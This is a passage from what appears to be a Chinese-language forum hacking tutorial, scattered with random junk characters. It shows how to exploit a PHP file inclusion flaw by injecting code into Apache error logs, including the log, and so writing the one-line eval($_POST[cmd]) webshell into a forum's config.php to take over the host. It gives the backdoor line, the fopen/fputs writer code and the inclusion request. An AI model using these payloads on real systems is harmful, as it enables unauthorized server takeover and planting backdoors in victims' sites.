因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 % w% m2 X( U" C9 \, W
& s/ {7 ?* K) D( p
比如还是这句一句话木马 ! Z: j" }1 o% w3 ~. |
<?eval($_POST[cmd]);?> 0 w! O& o/ Q# \: M, ?2 D3 r
" ~0 {% p f' `( \! Z! I g
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, / d' a: N* T0 U5 N; @: N: z. K* s/ v
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 & Q, {' R& s& Z2 K. h# q ~
8 w5 w2 ? S5 o: ?
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
# B4 q2 e8 G/ O+ u* ufclose($fp);?> //在config.php里写入一句木马语句 1 \1 ?/ T1 C$ E4 h
% a7 z4 X$ Z! r2 p7 f# W我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 - M% `4 @% \ u: t" V7 }1 l& Z0 ?- H
转换为

这样就错误日志里就记录下了这行写入webshell的代码。 . r2 H! r9 z& X, g
我们再来包含日志,提交
' @$ E E/ x* j7 ihttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
8 }. E6 A# C8 b: t0 p' s3 ?: S+ f: { p7 ]- `6 J% x7 |. x! O
这样webshell就写入成功了,config.php里就写入一句木马语句
h6 @2 m" O. H. p I# F% w% `OK.
, V% v R0 X$ o6 W. O5 E, j; G3 zhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
7 F3 x, z! n$ e9 m8 I2 |. n. o直接用lanker的客户端一连,主机就是你的了。 & [! r. P& ]6 ]4 V K
- W, ]) b- S( D7 I
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 9 r" {( M R7 k
: r6 J+ ~/ z/ b
其他的日志路径,你可以去猜,也可以参照这里。 / l& R/ A# ]8 C6 r
